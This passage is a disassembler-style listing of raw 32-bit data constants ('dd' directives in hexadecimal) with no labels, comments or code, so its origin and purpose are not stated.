dd 430788EBh, 0B7559526h, 780C68C4h, 10F34130h, 0BDCA5C7Dh
dd 879D7800h, 31094366h, 0A9779Fh, 0EEDB80A8h, 288F24CBh
dd 0A01E053Ch, 0FB3EC17Dh, 0C72FD924h, 8192F981h, 0A11DD678h
dd 0AC30F790h, 254B89Eh, 840A6EA5h, 7854CD32h, 0E311E080h
dd 605E95EBh, 0C35388A9h, 100F43F8h, 0C1FDB213h, 0A1D3D50Eh
dd 0A1F228F0h, 15F0BDC4h, 0EA231E8Eh, 30BD280Bh, 9F118DCDh
dd 0F635958Bh, 0C81EE9ECh, 7CF07B16h, 0BF2303E1h, 0A495B57h
dd 28F1D6E7h, 0D82C072Ch, 9B6BA402h, 0CC146A63h, 0FFC30084h
dd 0BC91426Ch, 5B2DCAD5h, 88886071h, 29E000AEh, 0FB5C6CC2h
dd 724A657h, 0E50B6427h, 3F3C108Ch, 5F1A3C44h, 0C3001848h
dd 0D15C4954h, 0C2095A2h, 60B0E43h, 9B2068E2h, 0ADDCD0FDh
dd 99DCB25h, 404850C4h, 0E404AA53h, 2634802Fh, 0BC187080h
dd 9AEA80ABh, 5B954180h, 0D0101454h, 0E0F28084h, 8C0FCA4h
dd 77D6A8E1h, 0DE40Bh, 8B76267Ch, 1D75A16h, 490766F6h
dd 221DAF0Eh, 0EA318602h, 0C18C0054h, 587714D2h, 0E2101CBCh
dd 40FB2E49h, 905C7905h, 0C7094B1h, 48872AAh, 6DFCA983h
dd 9D80022Bh, 1700C182h, 0B37EAB00h, 5E757D00h, 0BA6D4B0h
dd 0EE9001F2h, 52C3772Ch, 389FC0F8h, 0BEF4F01Ah, 0C76C5170h
dd 3F80EE90h, 6954A3EBh, 0A24A300Bh, 0C0B8CBC2h, 7408B2Ah
dd 5B3CAF38h, 0A816548Ah, 816D0060h, 0D1DD1425h, 26D80067h
dd 0FDE45C73h, 8C2822C2h, 5260F05Bh, 0EFFCA0D9h, 628CAAA3h
dd 0BE0C4494h, 7DA5C300h, 8C2A26D2h, 0E2438600h, 2C7EC5Eh
dd 958EA279h, 1848FA68h, 641EA539h, 30057544h, 8015188h
dd 74CDFB8Dh, 6F7B3440h
dd 838B1B2h, 402125F3h, 0E4E112BEh, 906014A1h, 96AB2E6Eh
dd 30604BBCh, 0FD80AFA6h, 38DE607Ah, 0A1A44B46h, 3BFA54Ch
dd 5F390AE2h, 9B6EE086h, 0F069242Ah, 620896A0h, 0F8C2F8DCh
dd 64FC8Bh, 5BDEDB13h, 169C3050h, 602C93A6h, 4390B671h
dd 300102DBh, 0DA0B3797h, 0D2F2C3AAh, 7D5B181Ch, 9F8910D6h
dd 4F3B9091h, 0A52AD004h, 0A380B052h, 6E10BA65h, 0EF711890h
dd 3EB183DEh, 0C254218Bh, 0C0253AC3h, 0A70802CBh, 3C020BB5h
dd 0F9028E02h, 39045CC9h, 90FE2EC2h, 0ACF1AF6Fh, 40057958h
dd 30757ADh, 76F03D8Dh, 0D2C0A0BEh, 7ABE0Ch, 38CD52FDh
dd 832E180Bh, 48FEC400h, 7DF0F532h, 6CACCCD2h, 6B136D68h
dd 0DC065343h, 58706EB5h, 0B727207Ah, 3896A482h, 0F0AEE4C1h
dd 0ECA89EABh, 189E06A1h, 0FCF7FB41h, 0B9EEA50Ch, 802BBF41h
dd 0A4F71774h, 981908CBh, 54FD7414h, 40F7909Ah, 8940A40Ch
dd 0B94D07B8h, 0D0908F94h, 3D07830Bh, 4F77624h, 40959102h
dd 16585888h, 13839E51h, 0DAD84274h, 0ECA69B67h, 0F600A062h
dd 0D795C6A7h, 305B0973h, 21C04F67h, 0A80B82BDh, 824B79ECh
dd 828FCAD5h, 0D1D2CDACh, 41FD412Ch, 93A0B81Eh, 0C888939Ch
dd 0D85F3C95h, 0A894265Fh, 0A106D7FAh, 2216DE17h, 8E8F00B1h
dd 0ACB341B9h, 80B5C93h, 0C8D2A24Dh, 409E711Ch, 7490FB1Bh
dd 0BA00C770h, 72AA8090h, 0D3D5C38h, 14DA95D0h, 89F80050h
dd 8200D80Fh, 77224584h, 87D718h, 0FC15163Bh, 0F01D04A1h
dd 7E483413h, 55DE5C91h, 0D61660C0h, 24C8DDD0h, 25317E3Ch
dd 9C9610A2h, 7509142Ch, 80042C94h, 4D7007CCh, 0AF7C2459h
dd 976E1C90h, 0BE9E0085h, 0B978E93Dh, 57017032h, 0DDE2AC7Ah
dd 0C1E22AADh, 2CED7DE0h, 1E19DC20h, 2C30212Bh, 0EA3D00A4h
dd 0AF3B9575h, 0C3A46900h, 0C9734D87h, 948D0001h, 0A9D1A83Ch
dd 1C703009h, 4C230726h, 140B5C93h, 9AF4CC6Ah, 0D2FD3030h
dd 57F1FEF1h, 0C23660C7h, 0FC786770h, 91C7E4F4h, 206E9464h
dd 5BFFD605h, 49D09733h, 87AB3880h, 0FAF9EAF5h, 9D518450h
dd 0BE26DCE4h, 0FC985506h, 7F418DB8h, 0B09A4CE5h, 7821F589h
dd 7C41F41Ah, 185A3890h, 0CAA172E9h, 70E6044Dh, 82B4AB3Fh
dd 58F46EE4h, 0C824A63Ah, 999CA802h, 50045E7Ah, 0AC621FFCh
dd 0FA34F410h, 695B1338h, 0FB98334Bh, 0FD07FA8Ah, 263040A6h
dd 42B43CCCh, 7854BCD8h, 0A8F3EE8Ch, 33C500A7h, 5BAA3BD5h
dd 51D451A3h, 72A900B4h, 86585F48h, 5BE508F7h, 0BA1F71CCh
dd 0BD315C80h, 48FB813Bh, 0B020200Dh, 12448F48h, 38E2A278h
dd 1660862Eh, 895C5206h, 0C84A2A18h, 9313F0E6h, 66529C1Ch
dd 7B10B4h, 90D8F17Dh, 3FC6EACh, 0D5EDD274h, 0F046846h
dd 0ABA11B7Eh, 0E580E344h, 0C37D2580h, 1C5B00C7h, 2E54EFFEh
dd 4302A18Fh, 5A07A561h, 24C6094h, 7D961817h, 0BF5B98D4h
dd 0E4F61100h, 0C7955693h, 816594Fh, 6D2E2120h, 7D6160D6h
dd 0B468DD5Ch, 36959306h, 780148E3h, 0C7F605FBh, 0A8D387AAh
dd 52F326FAh, 0AB00DC3Ch, 438DA29Dh, 0D230958Fh, 4D88684Eh
dd 0D7AD02E2h, 865BFCB4h, 0DC984872h, 588FA805h, 0D8883898h
dd 8085EE70h, 0E94D825Bh, 45D22590h, 94958958h, 8D4E00F2h
dd 0D590681Fh, 7D245702h, 38463C7Ah, 1E289448h, 524FE46Dh
dd 88B0525Bh, 961FA05h, 0E5FAC634h, 5C187452h, 952060A3h
dd 0AFA80938h, 6480B9E3h, 0A57372DEh, 287DF03h, 0C9CEFFC3h
dd 1AF8CCEDh, 0BE670294h, 0EFD75BB0h, 2DE027DFh, 0CCBC4384h
dd 89A39007h, 0C0F87438h, 0D0C39104h, 82036090h, 0A6164378h
dd 0A8889380h, 0AEE86ACh, 8D51F00Ch, 0FC97B8D4h, 0B31831CEh
dd 9368065Fh, 6E969E28h, 37878A54h, 0AE7459Ch, 38F893A8h
dd 0E6484BDBh, 5E424C20h, 974BCC95h, 81D89045h, 0F07B14C2h
dd 0F58B0988h, 0E816C3EEh, 0E0F18098h, 0A30915FEh, 812B71C8h
dd 6BAEF0D8h, 25227DF4h, 18C696A2h, 82F45C18h, 7235D61h
dd 169592D9h, 0E044296Ch, 2F74065Ch, 415C94A3h, 89CC38F5h
dd 1704FAC6h, 800B4922h, 7628F0F0h, 0D801E0D6h, 0B22795E2h
dd 18581430h, 18715FB4h, 0B0015C6Bh, 0F421D5D9h, 11866AFEh
dd 0B085659Fh, 2C0C585Ch, 11AFF0CBh, 3C24947Ch, 0F45E488Dh
dd 442FBA9Dh, 0A04220B2h, 1063805Eh, 77218034h, 4A5CBE43h
dd 0F0003854h, 14E47F48h, 434E668Fh, 3C4860CBh, 0C4251723h
dd 0BC8B0DCh, 94195BC5h, 0F27EF4A2h, 30CD9061h, 8F4F9A60h
dd 0B4490035h, 84588049h, 0B232FCAAh, 7CA14858h, 57FC974Ah
dd 0A218FC51h, 0BC7C8897h, 5CFC2417h, 810F92Dh, 0A2979D7Fh
dd 5186AB88h, 0C5A6927Ch, 4118FC5Ch, 18D02D68h, 80105DDBh
dd 7BFC0004h, 65603788h, 2A00C7A2h, 1757C821h, 2E4C6A9h
dd 7B3E05E2h, 7443A029h, 0FA0AEEA8h, 26039471h, 86802C1h
dd 63E3814Ch, 0D0176885h, 0F58CCCD6h, 54C3E712h, 0A8AA6823h
dd 0AE85DBh, 3D8F8623h, 1C9577EBh, 4E9FF100h, 1B54C878h
dd 10BB3096h, 0D92B448h, 2BDAAC1Ch, 4C892440h, 25EFAD07h
dd 4CA0294Eh, 0F460A93Dh, 53080B1Ch, 70A0FD0Ch, 480A441h
dd 0F3B39D33h, 0A45CF02Dh, 2F0E40h, 643B9825h, 836967A6h
dd 0D156C403h, 9014FE35h, 17B55DC9h, 6432FECh, 506A1A19h
dd 0E2325B01h, 58FC7779h, 0D8222021h, 939CA50Fh, 0AC7B5CA2h
dd 6971EC82h, 611407C1h, 0D00C6F52h, 640899E1h, 0E8CDD143h
dd 0F0885438h, 10AB0530h, 91B0CEDAh, 0BFF8724h, 0D8C5C1CCh
dd 6469F195h, 23124F08h, 5C8AF2F7h, 6F29BE02h, 0AE41BD9Ch
dd 7D4696Eh, 250C8F16h, 8AC503h, 0AACDD790h, 9E818715h
dd 0A491FC2Ah, 59102898h, 87843798h, 0E7908851h, 93486CB8h
dd 189A718Ch, 0C0036E4Bh, 8895B7D8h, 5856C246h, 4C0C5CF6h
dd 0E910D1D6h, 9D087714h, 0BD2600B4h, 69B26E93h, 55310C2Ah
dd 95B1A67Bh, 78CD4471h, 8BE06057h, 78099715h, 7C6B3CC2h
dd 20DF28E2h, 6F8F25B4h, 270278DFh, 1C108DCAh, 0C8B7203h
dd 18655BB8h, 8CA88D10h, 0DCBA9BFDh, 0C8C7FE00h, 9F5490E4h
dd 0B44CB894h, 94D2C958h, 62773500h, 9A261DB1h, 0F4050093h
dd 8234FD56h, 0EF12A7B4h, 34E04D1Bh, 0FD278EC9h, 2E1050E5h
dd 61688DA7h, 0F28027FCh, 5BC1A076h, 213A054Ah, 2F32A950h
dd 0EF93C804h, 0F5914481h, 738060h, 16DE605Dh, 2B85207Ah
dd 5230110Eh, 485AC1C4h, 2884F384h, 0FD75217Dh, 2EC207Ch
dd 0FF180388h, 0B9616CEFh, 78386C81h, 7E3F6727h, 66991FF0h
dd 909D0480h, 173C8C6Eh, 16282C88h, 11A50C9h, 399523E5h
dd 0FE29F00Eh, 9079F31Eh, 24E6D54Bh, 0FD204FA4h, 0F9C0830Bh
dd 2DEEF7F1h, 0A89B503Dh, 0B308A0C9h, 27099FCh, 4AE2EFA3h
dd 0A4D1B089h, 0C8F89544h, 0A2244B93h, 9F564481h, 0EFC18908h
dd 4E28D8D8h, 5CC802FAh, 84D4AF8Eh, 0DC237451h, 9551A430h
dd 0C9D37D8Eh, 0DA09E0A7h, 48C4A05Dh, 0C1B760B0h, 0A84187E0h
dd 0B884E2DEh, 0ADC29EA6h, 0E3AA80C0h, 1B2ECAFh, 78FC030Bh
dd 8028E5F0h, 7A3387A8h, 60F502D1h, 7B199C76h, 9D05B369h
dd 253CF039h, 8313CF5h, 78F464h, 0A09D6EA6h, 5F95E422h
dd 5BB8DF60h, 2399638h, 0A6549BB6h, 0F8F966h, 3198BF20h
dd 3BB05E93h, 0FFB008Eh, 0C7700A3h, 0C8A2066Bh, 800A36BCh
dd 0BCF9EF5Ch, 0D7238780h, 0F87AADCAh, 9FA17C9Fh, 0F870C030h
dd 0E451EA6Ah, 79C41425h
dd 967944C3h, 6C1E145Bh, 0F626FB41h, 32C49DFFh, 9E112EF0h
dd 4D248144h, 6A034346h, 0FDD86807h, 0CB094440h, 629B0BDFh
dd 0C86E91A5h, 0B0F1F92Ch, 0ECF41845h, 616345CFh, 6C4CE1E8h
dd 46EF1780h, 54F54CC0h, 42782D7Ch, 4D5B1C81h, 55E883F7h
dd 80C30B99h, 0B8AE849Dh, 5BF10CC4h, 9320DCE8h, 0F96428B0h
dd 0F0F88050h, 9CA96601h, 615C7E97h, 2BF8834Bh, 90538825h
dd 0C2481Ch, 4A803514h, 9D1AFD0Fh, 0AC508B03h, 18A406FBh
dd 60BCB938h, 7F05939Eh, 983CFCABh, 112F4B8h, 43ECB49Dh
dd 332880FBh, 72A94507h, 0E3700D0h, 96A57DE8h, 0A3B5A019h
dd 0DA5C7780h, 0C4605CCEh, 76AC8C7Ah, 4DA6E80h, 80EFD6D9h
dd 7580B2C3h, 13C70200h, 6870D3D7h, 0A8100972h, 4C09F95h
dd 1709F16Eh, 51598296h, 6843AA4h, 0A0653F68h, 3C5DF354h
dd 0D0C7D3D4h, 9F9DDA2h, 0E409CC1Ah, 2C24C4DCh, 90E93267h
dd 9539DB18h, 33272C00h, 8A64735Ah, 75168C90h, 1CC00E0h
dd 0A6B47A65h, 0EF86E406h, 0E413482h, 6A9EBB5Ah, 4615FDE0h
dd 0A8FEFA18h, 4E017003h, 0E1D5CC2Fh, 0FC37C1EEh, 2FB8F1Fh
dd 6DB37E75h, 0E824E4D9h, 5AC85A52h, 4464879Ch, 15BCC08Dh
dd 0CE093527h, 590CD4FCh, 0CECA748h, 48F0BF20h, 0A505D0BEh
dd 175FC1FCh, 0A6688118h, 0FA7E0357h, 2448E0FBh, 0C0921Eh
dd 95785958h, 36F3FDD0h, 9022EB26h, 13BFE908h, 0ADCC0094h
dd 5B9E73DAh, 0E011C227h, 8F881Ch, 0C8A42962h, 0CBFF1E57h
dd 604471EDh, 480987EDh, 0F7AA5B0Dh, 7464048Bh, 9049D891h
dd 0F9929C88h, 0BD51EB00h, 8C6D5926h, 801F7617h, 64810B1Eh
dd 67F14387h, 207C4ECh, 0F2D5921Ch, 5C0FFC3h, 0F325EFA2h
dd 5BB89134h, 6C9AE909h, 0EC58B0h, 0ABD2F52Ch, 4FFECD92h
dd 0A0DC809Ch, 5253877Dh, 29FC0BD8h, 0EF94A2A1h, 0C8986BE5h
dd 0F27CBC0h, 9379BE21h, 9FA04Eh, 64F4C432h, 173F18EFh
dd 14C8CE34h, 0B1E5E95h, 5851072Ch, 0F094F865h, 4520508Ch
dd 0E094645Ch, 7540C660h, 2902C4h, 0CD6A1D8Eh, 0AED4A21Fh
dd 0F39CE002h, 60932758h, 0B23007F4h, 34B640C4h, 0E97D3616h
dd 277850B3h, 24E43C0Dh, 916F6501h, 0FA958D03h, 0E7E0C42Ah
dd 50871238h, 42CAA0C8h, 740C5C2Ch, 0A16B4BEh, 7C24D0B5h
dd 0FFC90FEFh, 0FC62057Eh, 0E0D1BC94h, 96D1903Dh, 0D3792573h
dd 0F02D4446h, 9C9C8182h, 0AAE43914h, 44D30072h, 6443E0DAh
dd 0F61C3290h, 0CA0B3D2Fh, 0AAC4C862h, 9DA80B0h, 0C5826F01h
dd 5E88958Ch, 5B4EC885h, 0A40CBF0Eh, 9D85C8E5h, 0CD76087h
dd 24028FA8h, 67A4D0D6h, 20F08F8Dh, 84E6DAACh, 864E2095h
dd 70007B70h, 0E49468C9h, 0A98396h, 0F013B373h, 92ADD215h
dd 9808123Bh, 959194ECh, 0DC18979Ch, 0FC908F0Bh, 78212E24h
dd 3CF17100h, 50D187Eh, 95F2E35Dh, 8854F0C4h, 2DE04C5Ch
dd 7BA8601Ah, 75F70B03h, 4450B7F0h, 0ED02C202h, 8F923C58h
dd 0E13859E4h, 22181C33h, 3D187083h, 9D5C8109h, 0C0DCE275h
dd 90E8C978h, 984B0C89h, 65118F3Dh, 5BE95B3Fh, 12A42CC8h
dd 4244E0FCh, 0FA5BEA20h, 0D9A03CDEh, 5088015Bh, 5B661C8Ch
dd 0B4A02EF7h, 958480F8h, 0CC9AE290h, 32794418h, 24832A31h
dd 649058C4h, 3CA01334h, 0A040D3E4h, 9335F048h, 90BDF8B1h
dd 13844C00h, 949564FAh, 79099176h, 4298F077h, 8510D4D4h
dd 0E18FFCA9h, 0AAA041FCh, 314C8F0h, 0C800BCB8h, 0E93E1D22h
dd 3F1E5577h, 0D0638F0Eh, 92E11802h, 5347776h, 96527DAh
dd 2B72C8Ch, 0FC90C0DEh, 94A0573Fh, 0F2D45BE7h, 0B5939680h
dd 9A97F810h, 48C99D09h, 5544E0D1h, 142F81Ch, 76B23C98h
dd 2007A1F0h, 0EF17A744h, 0A0A2A956h, 0F25EE313h, 5C3B00ECh
dd 0CAFE20ECh, 0C68B0140h, 0FD3043A2h, 0B20841F2h, 0D614406Dh
dd 9E1EAACAh, 0CE498374h, 8C08205Eh, 0F87B6E1Eh, 8F333C08h
dd 0D8F55194h, 1D2B9012h, 4E7A5330h, 5B042014h, 41FD0F21h
dd 5776F209h, 7CD8036Eh, 0CB92F8FCh, 0F02044D1h, 0CD14A89Eh
dd 0D2E616F0h, 0B07D1402h, 5CF6026Fh, 94449CC6h, 7B952591h
dd 778CC01h, 9A26E056h, 0BC79E2F1h, 2CAB09BCh, 4F848276h
dd 289105B1h, 75755BDCh, 0AAE01083h, 787C5988h, 10B3FE30h
dd 52099E0h, 8E5B53F1h, 3D904017h, 45911C4Eh, 0B5BDF017h
dd 2C90C4C8h, 61789855h, 2B194D89h, 0F5917806h, 5F6E3C08h
dd 87BE007Bh, 3394B5F9h, 1773B6C5h, 50427028h, 7C8003F0h
dd 0B81A02FDh, 253018DAh, 50EF4860h, 0C1784B6Fh, 73A8C42Bh
dd 8357B0D4h, 0C1401695h, 6E069578h, 0A79EC00h, 27B18B1h
dd 0F01264B4h, 5068E622h, 86C524h, 0B113FB0Ah, 8137BC96h
dd 0ECFCAA17h, 73B94A1h, 952CFD1Ch, 0AFC0641h, 0ED2DB943h
dd 0E084C4C9h, 0FD4986B8h, 4EB30EE8h, 0F020E666h, 0F97D0440h
dd 0C13A1C9Ch, 93BA2D4Ch, 0D0039F88h, 16B5515Bh, 48F37C10h
dd 144AC660h, 0EF989C01h, 0C880AC2Eh, 2FF054C3h, 0FE7C1ED8h
dd 63E01A02h, 56EA5B5Ah, 0A9880094h, 0E58DFBE3h, 0FCA74706h
dd 1D502860h, 41A6E044h, 54B549A2h, 9068701Bh, 0DCA849h
dd 26023B8Fh, 1751897Ch, 818395A1h, 9D765B84h, 82570FECh
dd 85673480h, 3326031Eh, 0B203F03Bh, 7BA0A00Fh, 7C77073Dh
dd 0FD79E841h, 647D7271h, 7BC15E01h, 0F40A4A80h, 0C700FB19h
dd 14637335h, 9597EFA3h, 295514C2h, 0C4D0C0h, 78D2F98Ah
dd 0EBB641C8h, 0CFED141Ch, 544CA400h, 98B8FDh, 0FFAADD73h
dd 0D96AF234h, 0BF0399E8h, 0A0783546h, 7C18A641h, 503000E5h
dd 91A16B06h, 0B703D1EDh, 0FD2D540Bh, 80582C94h, 83B002Fh
dd 7FE1EF05h, 4C085650h, 32F7B618h, 198D0A28h, 38E3AD06h
dd 8801FBECh, 0E113DD7Bh, 188F01D2h, 307BBD4Eh, 0D736E3C7h
dd 0DB531879h, 12CE0014h, 7E73391Dh, 4F210C58h, 193996BAh
dd 7628297Ch, 121F80B8h, 20FEE0Dh, 804706E8h, 48D06030h
dd 1BFCBBA0h, 769930C7h, 70E0793Ch, 4A9403F4h, 0E765189Ah
dd 0DF15180Fh, 96BD06D2h, 70E3F10h, 95B97A30h, 0F0A21B8h
dd 82F7023h, 0AB2CAE07h, 0A5D4B681h, 0FFA09Dh, 0B38B109Fh
dd 801FD74Ch, 0DDE5255h, 61BD06C6h, 84505050h, 8FE23F6Eh
dd 2F90800Eh, 0BAD316E1h, 7CE1F0CAh, 4DBB9B01h, 92217EC0h
dd 2576D0h, 3BB1C940h, 0DFE32687h, 0A6804600h, 0A979F25Bh
dd 7E6E30F7h, 98723560h, 71B6A40Eh, 59001CE0h, 3D8CFE22h
dd 3795B825h, 60020105h, 4776B4C6h, 0EA0C7860h, 0F8589977h
dd 0ED9D0FEEh, 0F9462001h, 67072E23h, 5125058Ch, 0C6FC3A3h
dd 27566914h, 35648A0Ah, 9F27ED5Eh, 34845B1Eh, 57535FD0h
dd 30446907h, 828017F5h, 65C34F7h, 43EA1FE8h, 2A0D3674h
dd 3A1D8CDBh, 0C302AA87h, 58602F82h, 0B9517E1Ah, 0B43F1600h
dd 0E1D2496Dh, 98BB4C53h, 328FE404h, 0EBCD80D1h, 11067CABh
dd 735AEA1Bh, 0A2BCE15Ah, 30E5610h, 0FF5CD989h, 7E047EC9h
dd 0DF2DFAE7h, 3E6311Ch, 0E4CB8561h, 6D00C482h, 64DCC058h
dd 0F8261F28h, 1E87B9E0h, 60093951h, 0C47BBBE8h, 0F0027F7Ch
dd 53C14935h, 54406102h, 884175C1h, 8D42905Ch, 1093808Ch
dd 6C9C69C9h, 0EA1A7150h, 0E0DFB028h, 5BBD5E65h, 93EADF60h
dd 2D31CA77h, 8E03FCCh, 72326FBAh, 0BF575E1Fh, 5456077Eh
dd 0D720DFF8h, 0C51D9DEAh, 0C340BC36h, 11D15964h, 5F6A82E2h
dd 985B4569h, 44BE56E9h
dd 912AEA03h, 5CC0819Bh, 62276F22h, 35F87E8Ah, 701C7AFBh
dd 0BB251502h, 1D06E27Dh, 72C5EA67h, 6EB0727h, 0B3094F58h
dd 170144E5h, 77142AC3h, 43F2576Ah, 0C218140Ch, 179AEE2h
dd 0B597455h, 0E05ACE8Ah, 22DD6E61h, 5D6C8899h, 4AA01C25h
dd 92A2F343h, 67B951ABh, 1FEA2D40h, 25B2AAF6h, 0B6595DC8h
dd 0D21EA07h, 0C7812E87h, 0EC23873Fh, 720CCBABh, 0CC73E004h
dd 165C76F4h, 5D70280h, 37411442h, 58F38381h, 92D61062h
dd 5B9056Bh, 6C70251h, 100A1BC4h, 0D6B881A2h, 0ADAEE1D4h
dd 0C3C0E7A1h, 0AF2E032Eh, 0A046530Eh, 4CBF7ADCh, 52F90202h
dd 2077D769h, 7DB9E082h, 0A634314Ch, 3523CE4Ah, 69E0F858h
dd 0EA7740C1h, 0A902433h, 159EB152h, 295B0C83h, 289081C4h
dd 3A1BB353h, 0D104DBF7h, 0D4FD25F3h, 0E5858441h, 8C48A09Dh
dd 0C2EF9608h, 54575901h, 77239CBCh, 3776FFF7h, 260001Eh
dd 0EC825ACCh, 0D624709Dh, 0EA069F7Ch, 814CF2A7h, 0A95DEC3h
dd 0C315AF32h, 0DA9E6499h, 0C2272710h, 0E1AADA8Ch, 26D3F85Bh
dd 180D680Fh, 98AEEA41h, 0B6C45D80h, 5A3E842Ch, 14EC691Ah
dd 0C02C9418h, 4D5FCD28h, 0A0ED0248h, 592808C8h, 326DED34h
dd 1240D06h, 95E254EAh, 4048EC60h, 9A98516Ch, 480220Fh
dd 1A348617h, 7BC80065h, 2248943h, 0BA0452F0h, 7A3A5504h
dd 128A9380h, 335675B2h, 4332A1E6h, 8C825DAh, 0CDE4C5FFh
dd 0F2ED811Fh, 33665B08h, 0D56F306Ah, 62C8A69Ah, 0A056AC89h
dd 81E9419Ch, 0C2A23067h, 0BBA869E8h, 29D77377h, 0AB469985h
dd 0CE8D467h, 0DD44EA9Dh, 0D7F8C3Dh, 4F69530Bh, 0A91B1657h
dd 0C8438CC3h, 4CE3F253h, 0EBEA26ECh, 0B7679F3Ah, 0DD16924Ah
dd 34730D46h, 6031B1A6h, 1BC0E90Ah, 9131375Dh, 2B4C3C32h
dd 4CD87944h, 7E795Bh, 823A1408h, 453F6DE7h, 16AD254Ch
dd 6801EFD2h, 79A3080Fh, 0B9C1C3DBh, 18810322h, 163DEC4Dh
dd 1C953002h, 0BEB2E44h, 561F1B71h, 6DC7C0Dh, 4A080C08h
dd 1139602h, 14C1380Fh, 0EA74345Ch, 0CF859F31h, 0DB4D3EC5h
dd 3895733h, 960F85BAh, 17416980h, 60582A54h, 6CA70062h
dd 0FA8A424Dh, 0FF3928EAh, 0AE6FAA5h, 6E4B47A3h, 44BC08D5h
dd 58ACEA1Dh, 250E5A92h, 7AC56740h, 318EF560h, 0BA191E4h
dd 21B29484h, 9A622440h, 5F36C082h, 2AC3034h, 61651D6Ah
dd 0CE5C687Ch, 3CFF26F3h, 45B4BA07h, 0E6326763h, 0BC77403Eh
dd 0F70F2B0Fh, 5EEC8414h, 9E8AEC3h, 880D89B6h, 20B52013h
dd 4668EAECh, 12C33280h, 16D10259h, 0F9383230h, 300A7AC0h
dd 2A09067Ch, 0BB2D8CE9h, 9D59501Dh, 7511C908h, 2AD5833h
dd 0E68A5628h, 1109C280h, 8203447Fh, 0D753D2D0h, 0C0E8A265h
dd 0D05F1C09h, 41A03795h, 0C0095536h, 832ADB20h, 43C9329Eh
dd 0EA0A14D6h, 80DADB97h, 6050F3EFh, 0F139324Ch, 9FC2B25Fh
dd 1025359h, 73764CF2h, 0E9C2F026h, 0C8204804h, 0C2C4CB8Ah
dd 0F23E4CC0h, 0A06DB064h, 476A8Bh, 0E3C270E2h, 4BDBF804h
dd 0EB1E87B0h, 0C70B62Dh, 7CE526C1h, 0A8F3027Eh, 2A9D05D1h
dd 0B6298DC2h, 0C4E83284h, 92D2CD63h, 0C101880Ch, 942695Dh
dd 36A5D58Ch, 0C0EECC25h, 3FCA2449h, 3BBB26D2h, 0F52369A9h
dd 0D8F86000h, 0AC1BCDEAh, 96E420DAh, 36AA6913h, 8A31E164h
dd 0E2FAFEEBh, 0DD7749CAh, 6510374h, 0E1C133B1h, 5EB00608h
dd 0BAED6928h, 46ACC01Fh, 0F800542Eh, 4CA96ACEh, 74C433EAh
dd 20EFC6B3h, 159F425Bh, 0EA6148B1h, 0A8E49ADh, 0EEE6C6FFh
dd 0BA025AF0h, 11E82E9Eh, 1C7BE832h, 0E55C8154h, 57AA50D6h
dd 0D9A2E78Ah, 0C0CAA1Bh, 104587EAh, 0DCD0F2Eh, 79454BABh
dd 88124A5Dh, 82DD3C8Eh, 0DA73347Fh, 15F8017Ah, 406DA53Eh
dd 0FD1CAEECh, 7D0C2F64h, 169D84FAh, 0EBD3508Fh, 8CF1C4B4h
dd 5C5CE0A3h, 5CF434F6h, 5E92F627h, 0E7C20171h, 84C2BD08h
dd 4706A516h, 8ADA9FC0h, 2A0405D4h, 91885FF4h, 155C234Eh
dd 2C7DA105h, 36F48D89h, 792258CAh, 0F6177630h, 0CD0773AFh
dd 5EEB0271h, 1903E51Fh, 412C7798h, 105C2295h, 36031E2Bh
dd 26D2665Ch, 10FC3AD3h, 0C42D4C99h, 0BF00967Ch, 477B74E1h
dd 9F60EFF4h, 5CD92914h, 20547A53h, 811C7D1Dh, 0EECF93C6h
dd 0A6746930h, 6E543467h, 30D40632h, 10FC8485h, 8B18089Ah
dd 0BCBB320Bh, 5D165A17h, 0FD0A651Fh, 93A6EB20h, 0B2BD7F26h
dd 41883F6Ah, 0FF725D8Fh, 18EB4118h, 7B1E0BBCh, 0D59280FEh
dd 535DA882h, 893A3137h, 0EACBC8DAh, 611975E3h, 1E4EF56h
dd 0C9B71067h, 0F36052D1h, 3D9E67C5h, 9C8672E3h, 98245659h
dd 62BB924Bh, 88982538h, 6C2E8BD8h, 5428FBD9h, 0C7F66FB0h
dd 77F76B40h, 0B181F4D6h, 0B880775h, 372A27FFh, 5FF33160h
dd 4D16308Ah, 0B2D44441h, 5E499216h, 549485D6h, 0AC041EB4h
dd 0C0F5F7BBh, 65495C86h, 0FA2A5017h, 3E08AB10h, 8CA6D460h
dd 0FF3A2471h, 81590634h, 984A04ECh, 6E1C7E40h, 26DB1283h
dd 0D93DEFB7h, 0ED561A8Bh, 50421E6h, 2308419h, 0D962E906h
dd 0F70841F7h, 3142160h, 8BFB01AAh, 0C4DA243Ch, 92ED16A3h
dd 0F490A48h, 44D9F705h, 1ED33E91h, 0BF148B38h, 1D4861A3h
dd 0CCD8F714h, 0C7AB4FDAh, 0B850581Eh, 0B22C183h, 0D663CF29h
dd 68200C85h, 966B41BDh, 0EC900541h, 0C838CC1h, 240C0B87h
dd 6E0CE95Ch, 0C23C80BCh, 914E19E2h, 90E33128h, 0C09268D0h
dd 2414893Dh, 7451FF57h, 5FA5128Eh, 418F7091h, 94D7F79Ch
dd 0C7AF48B4h, 0FE26EF88h, 180E62B8h, 8FB8148Bh, 2BA5F829h
dd 0E802E906h, 0CCC28CA6h, 660A7516h, 0C1B45007h, 5861E730h
dd 0F8C0D704h, 0C63B02Ch, 21F06852h, 0A2D1542Ah, 0E98498F0h
dd 42374125h, 6626020Bh, 0B5B201F3h, 0E908EAC0h, 1C03EF0Ah
dd 2253F6BDh, 0F7AD143h, 4C33D88h, 871406A1h, 335C1880h
dd 6B99E9DAh, 0C5001877h, 0C610DAF2h, 985F3C3Eh, 0F8359579h
dd 2B04115Bh, 0D8AF14FFh, 822D0380h, 0D150BE67h, 0BA4D9794h
dd 0C0FDC4E0h, 0DABD5524h, 3E1F7083h, 0F5AEE29h, 9F11602Bh
dd 336C005Bh, 0BCD16DBFh, 0DF48294Fh, 0C64774h, 525FFA31h
dd 92266CE9h, 6968077Ah, 0D222484Dh, 99E0E7C1h, 79C058E9h
dd 78ECE281h, 551D7B1Fh, 0B459B960h, 0C6523EECh, 8EF9010Ah
dd 3941AB09h, 5BBC8472h, 21A35481h, 728B0AF8h, 60539001h
dd 55529683h, 0B592C8E9h, 2CD3661Fh, 0F28C9C9Eh, 0A4C181D5h
dd 6810F6DEh, 1EA10A60h, 40370D87h, 0DCB28A10h, 2C8FC161h
dd 0F1CCC6A0h, 27EBA842h, 81320C06h, 0C14F01C7h, 0E902EF06h
dd 5010641Dh, 340169B9h, 352C59CFh, 8BFA0EF7h, 2BE9C45Ch
dd 0AE76965Eh, 7A6106F0h, 0C5815D10h, 0ED211723h, 884BE631h
dd 605E0C92h, 5FF96878h, 4E818981h, 0BA18A2BDh, 0A4C8010h
